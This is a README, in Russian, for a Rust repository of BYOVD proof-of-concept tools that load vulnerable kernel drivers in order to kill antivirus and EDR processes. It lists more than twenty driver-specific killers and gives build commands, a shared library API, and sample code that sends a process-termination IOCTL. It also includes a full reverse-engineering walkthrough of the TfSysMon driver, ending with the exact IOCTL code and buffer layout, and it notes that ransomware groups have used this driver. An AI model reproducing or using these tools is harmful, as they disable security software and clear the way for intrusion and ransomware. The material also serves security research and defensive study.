BYOVD

BYOVD — это набор PoC-эксплойтов, демонстрирующих, как уязвимые драйверы могут быть использованы для отключения AV/EDR-решений.

Коллекция включает как недокументированные драйверы, так и те, которые уже описаны в LOLDDrivers или в рекомендуемых правилах блокировки драйверов от Microsoft.

С момента первоначального обнаружения драйвер TfSysMon был добавлен в LOLDrivers и используется группами программ-вымогателей с помощью инструмента EDRKillShifter, о чём сообщили Sophos и ESET

📚 Содержание

• 🔍 Обзор
• 🏗️ Структура проекта
• 🔧 Сборка
• 📦 byovd-lib
• 💡 PoC-эксплойты
• 🔬 Полный процесс реверс-инжиниринга драйвера (x64)
• 🔗 Ссылки
• ⚠️ Отказ от ответственности

🔍 Обзор

Техника BYOVD в последнее время набирает популярность в области наступательной безопасности, особенно с выходом таких инструментов, как Terminator от SpyBoy (продавался за $3,000) и проект ZeroMemoryEx Blackout. Эти инструменты используют уязвимые драйверы для отключения AV/EDR-агентов, что облегчает дальнейшие атаки за счёт снижения вероятности обнаружения.

Этот репозиторий содержит несколько PoC-эксплойтов, разработанных в образовательных целях, помогающих исследователям понять, как эти драйверы могут быть использованы для завершения процессов.

🏗️ Структура проекта

Проект организован как Rust Cargo workspace. Большинство PoC-эксплойтов используют общую библиотеку (byovd-lib), которая обрабатывает шаблонный код: жизненный цикл службы драйвера, диспетчеризацию IOCTL, мониторинг процессов, настройку привилегий и очистку. Каждый киллер представляет собой тонкий бинарный файл (~50–100 строк), который определяет только свою конфигурацию, специфичную для драйвера. K7Terminator, Astra64-Killer, Ktapi-Killer и Xhunter1-Killer являются автономными — у них собственные объявления [workspace], и они собираются непосредственно из своих каталогов, а не через корневой workspace.``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

Каждый каталог `*-Killer/` содержит собственный `Cargo.toml`, `src/main.rs` (реализацию `DriverConfig` + CLI), `README.md` (хэши драйверов + использование) и соответствующий файл `.sys`, который бинарник загружает во время выполнения.

## 🔧 Сборка

**Предварительные требования:** инструментарий Rust и Visual Studio Build Tools с Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

Binaries выводятся в target/release/. Скопируйте соответствующий файл драйвера .sys в ту же директорию, что и исполняемый файл, перед запуском.

📦 byovd-lib

byovd-lib — это общая библиотека, на которой построены все PoC (кроме K7Terminator). Она предоставляет два взаимодополняющих API — высокоуровневый декларативный для стандартного потока «установить драйвер, убить на месте, очистить» и низкоуровневый императивный для киллеров, которым нужен нестандартный поток (подключение к уже загруженному драйверу, разветвление на несколько PID, структурированные буферы IOCTL, собственная логика повторов и т. д.). Оба могут сочетаться в одном бинарнике.

Структура модулей```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### Высокоуровневый API: трейт `DriverConfig` + `run()`

Именно это используют встроенные киллеры. Реализуйте трейт, вызовите `byovd_lib::run()` — и готово.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() выполняет: preflight_check → установка службы (SERVICE_DEMAND_START) → StartService → монитор завершения по нажатию (Ctrl+C для выхода) → остановка и удаление службы.

Необязательные переопределения трейта с их значениями по умолчанию:

Низкоуровневый API: императивные компоненты

Когда поток трейта не подходит — например, драйвер уже загружен и нужно отправить только один IOCTL, требуется собственная политика повторов, IOCTL принимает структурированный ввод, а не просто PID, или нужно распределить запросы по всем подходящим PID — компонуйте низкоуровневые компоненты напрямую.

Жизненный цикл драйвера — ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**Диспетчеризация IOCTL** — `DeviceHandle` предоставляет пять типизированных форм:

| Метод | Когда использовать |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | Отдельные буферы ввода и вывода, разные типы |
| `ioctl_inout<T>(code, &mut data)` | Один и тот же буфер для ввода и вывода |
| `ioctl_in<I>(code, &input)` | Только ввод, без буфера вывода |
| `ioctl_in_unchecked<I>(code, &input)` | Только ввод, игнорировать ошибку (альтернатива `ignore_ioctl_error` для отдельного вызова) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | Запасной вариант с сырыми указателями |

Типизированные формы устраняют ручной шаблонный код `to_ne_bytes()` / `extend_from_slice()`, когда IOCTL принимает структуру (например, `{ pid: u32, padding: [u8; 20] }`).

**Поиск процесса** — `find_pid_by_name(name)` (первое совпадение) и `find_all_pids_by_name(name)` (все совпадения, исключая системные PID ≤ 4).

**Пользовательский цикл мониторинга** — `run_monitor_loop(name, interval, |pid| ...)` принимает замыкание, позволяя выполнять любые действия при каждом совпадении (несколько IOCTL, структурированное логирование, распределение нагрузки по PID, повтор при ошибке).

**Привилегии** — `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` для драйверов, требующих явных привилегий токена. `ensure_running_as_local_system()` возвращает ошибку, если процесс не выполняется как `S-1-5-18`.

**Обёртки дескрипторов** — `WinHandle` (автоматический `CloseHandle`) и `ScHandle` (автоматический `CloseServiceHandle`) реализуют `Send + Sync` и могут перемещаться между потоками.

### Пример: подключение к уже загруженному драйверу без управления службой

Именно это делает `UnknownKiller --attach` — полностью пропускает SCM, просто открывает устройство и один раз отправляет IOCTL:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

Псевдонимы для обратной совместимости

FileHandle / ServiceHandle по-прежнему разрешаются в WinHandle / ScHandle, а get_pid_by_name сохранён как псевдоним для find_pid_by_name, поэтому старый код, ссылающийся на эти имена, продолжает компилироваться.

💡 POC-эксплойты

Ниже приведены драйверы и соответствующие им POC-эксплойты, доступные в этом репозитории:

• AppRemover-Killer: Нацелен на ardrv.sys от OPSWAT AppRemover.
• Astra64-Killer: Нацелен на astra64.sys от EnTech Taiwan (Astra32 / TVicHW) — автономный киллер EDR на основе теневого SSDT-хайджека только с данными.
• BdApiUtil-Killer: Нацелен на BdApiUtil64.sys от Baidu AntiVirus (CVE-2024-51324).
• CcProtect-Killer: Нацелен на CcProtect.sys от CnCrypt.
• EnPortv-Killer: Нацелен на EnPortv.sys от Guidance EnCase.

🔬 Полный процесс реверс-инжиниринга драйвера (x64)

В этом разделе демонстрируется полная методология реверс-инжиниринга от А до Я на практическом примере драйвера TfSysMon. Этот процесс применим к анализу любого x64-драйвера ядра Windows.

🎯 Шаг 0: Предварительный анализ — проверка импортируемых функций

Проверьте импорты драйвера перед началом реверс-инжиниринга.

Базовому драйверу-киллеру процессов требуются 2 вещи:

способ получить дескриптор процесса (например, ZwOpenProcess или NtOpenProcess)

способ завершить процесс (например, ZwTerminateProcess или NtTerminateProcess)

Проверьте, импортирует ли драйвер оба типа функций. Если в импортируемых функциях драйвера есть Nt/ZwOpenProcess И Nt/ZwTerminateProcess, то это потенциальный кандидат в драйверы-киллеры процессов.

Только после подтверждения этих импортов следует переходить к детальному реверс-инжинирингу в IDA Pro.

🛠️ Предварительные требования для анализа x64-драйверов

Необходимые инструменты:

• IDA Pro — для дизассемблирования драйвера и статического анализа
• OSRLoader — для загрузки/запуска драйвера (альтернатива команде sc.exe)

📍 Шаг 1: Поиск и анализ DriverEntry

Каждый драйвер Windows начинается с DriverEntry — сначала найдите эту функцию:

В TfSysMon DriverEntry выглядит так:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

**Аналитические заметки:**
- Код выполняет некоторую инициализацию с использованием BugCheckParameter2 и BugCheckParameter3
- Реальная инициализация драйвера происходит в `sub_17484`
- Проследите за вызовом `sub_17484(DriverObject)` — именно здесь происходит фактическая настройка драйвера

### 📍 Шаг 2: Проследите цепочку инициализации драйвера

**Перейдите к функции инициализации (`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

Ключевые выводы реверс-инжиниринга:

• Имя устройства: \\Device\\TfSysMon (пространство ядра)
• Символическая ссылка: \\DosDevices\\TfSysMon (доступно из пользовательского режима как \\.\\TfSysMon)
• Тип устройства: 0x22 = FILE_DEVICE_UNKNOWN
• Обработчик IRP: Все основные функции указывают на sub_17694
• Целевая функция: MajorFunction[14] = обработчик IRP_MJ_DEVICE_CONTROL

📍 Шаг 3: Анализ функции диспетчеризации IRP

Перейдите к функции диспетчеризации (sub_17694):```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

**Анализ методами реверс-инжиниринга:**
- Проверка устройства выполняется первой (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` определяет тип операции
- **КРИТИЧНО**: значения MajorFunction 14 (0xE) и 15 (0xF) вызывают `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = обработка IOCTL
- Уязвимый путь выполнения кода: **запрос IOCTL → sub_177D8**

### 📍 Шаг 4: Реверс-инжиниринг обработчика IOCTL

**Перейдите к функции обработки IOCTL (`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

Критические находки в ходе реверс-инжиниринга:

• Извлечение IOCTL: v7 = *(_DWORD *)(a2 + 24) получает код IOCTL из IO_STACK_LOCATION
• Входной буфер: Irp->AssociatedIrp.MasterIrp содержит пользовательские данные
• Длина буфера: v9 = *(unsigned int *)(a2 + 16) получает размер входного буфера
• Уязвимый IOCTL: 0xB4A00404 ведёт к sub_1837C
• Проверка размера: Проверяется только, что буфер ≥ 0x18 (24 байта) — минимальная проверка!

📍 Шаг 5: Анализ уязвимой функции

Перейдите к функции завершения процесса (sub_1837C):```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

**Анализ функции:**
- **Структура входных данных**: Из анализа кода драйвера мы определили раскладку буфера, где PID находится по смещению +4
- **Разбор входных данных**: `v3 = *(void **)(a1 + 4)` извлекает PID из входного буфера по смещению +4
- **Открытие процесса**: `ZwOpenProcess` с минимальными правами доступа (1u = PROCESS_TERMINATE)
- **Отсутствие проверок безопасности**: Нет проверки привилегий вызывающего или защиты целевого процесса
- **Завершение процесса**: Прямой вызов `ZwTerminateProcess`
- **Логика повторов**: Несколько попыток как для открытия, так и для завершения
- **Любой процесс**: Может завершить любой процесс, доступный учётной записи SYSTEM

### 📍 Шаг 6: Построение полной цепочки атаки

**Полный поток обратной разработки:**
1. **Точка входа**: Пользователь вызывает `DeviceIoControl` на `\\.\\TfSysMon`
2. **Создание IRP**: Менеджер ввода-вывода создаёт IRP с MajorFunction = 14
3. **Диспетчеризация**: `sub_17694` направляет в `sub_177D8` для обработки IOCTL
4. **Проверка IOCTL**: `sub_177D8` проверяет код IOCTL `0xB4A00404` и размер буфера ≥ 24 байт
5. **Выполнение**: Вызывает `sub_1837C` с пользовательским входным буфером
6. **Завершение**: `sub_1837C` извлекает PID из смещения +4 и завершает процесс через `ZwTerminateProcess`

**Структура входного буфера (из обратной разработки драйвера):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

Эта методология демонстрирует, как систематически проводить обратную разработку любого драйвера ядра Windows x64 для выявления аналогичных уязвимостей, следуя пути выполнения от взаимодействия с пользовательским режимом до опасных операций с ядром.

Поддержка 🍺

Если BYOVD помог вашим операциям red team, подумайте о том, чтобы угостить меня пивом:

🔗 Ссылки

• Блог Элис Климент-Поммере: Поиск и эксплуатация драйверов-убийц процессов с помощью LOL за $3000
• LOLDrivers: Центральный репозиторий известных уязвимых драйверов
• Правила блокировки драйверов Microsoft: Рекомендуемые правила блокировки драйверов Microsoft
• Программирование ядра Windows Павел Йосифович
• Внутреннее устройство Windows, части 1 и 2 Марк Е. Руссинович, Алекс Ионеску, Дэвид Соломон

⚠️ Отказ от ответственности

Проект BYOVD предназначен только для образовательных и исследовательских целей. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этими программами. Всегда получайте явное разрешение перед использованием этих инструментов на любой системе.